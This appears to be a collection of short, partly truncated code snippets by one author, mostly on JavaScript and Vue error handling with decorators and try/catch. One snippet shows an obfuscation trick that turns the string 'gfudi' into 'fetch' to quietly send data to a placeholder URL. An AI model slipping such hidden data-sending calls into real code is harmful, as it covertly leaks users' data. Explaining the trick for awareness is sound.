enkot

function log(func) {
  return function() {
    func()
    console.log('Function called')
  }
}

function getData() { ... }

getData = log(getData)

enkot

// register global handler
catchDecorator.register((error) => Toast.error(error.message))

@Component
class LoginPage extends Vue {
  // ...
  // catch errors and run global handler
  @Catch()
  async loginUser() {
    const token = await api.loginUser(this.email, this.password)

enkot

class Main {
    public static void main(String[] args) throws IOException {
        FileReader file = new FileReader("C:\\test\\a.txt");
        // ...
    }
}

enkot

@Component
class App extends Vue {
  // ...
  decodeData(data) {
    try {
      this.decodedData = atob(data) // can throw DOMException
    } catch(error) {
      Toast.error(error.message)
    }
  }

enkot

// main.js
Vue.config.errorHandler = function (error) {
  Toast.error(error.message)
  console.warn(error.message)
}

// App.vue
@Component
export default class App extends Vue {
  async created() {

enkot

@Component
class LoginPage extends Vue {
  // ...
  async loginUser() {
    try {
      const token = await api.loginUser(this.email, this.password)
      handleLogin(token)
    } catch(error) {
      Toast.error(error.message)
    }

enkot

@Component
class LoginPage extends Vue {
  // ...
  async loginUser() {
    try {
      const token = await api.loginUser(this.email, this.password)
      handleLogin(token)
    } catch(error) {
      Toast.error(error.message)
    }

enkot

@Component
class LoginPage extends Vue {
  // ...
  loginUser() {
    api.loginUser(this.email, this.password)
      .then(handleLogin)
      .catch(error => Toast.error(error.message))
  }
}

enkot

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

enkot

// Listen for changes
componentDidMount() {
  ListStore.on('change', this._onChange);
}

// Update view state when change event is received
_onChange: function() {
  this.setState(ListStore.getState());
}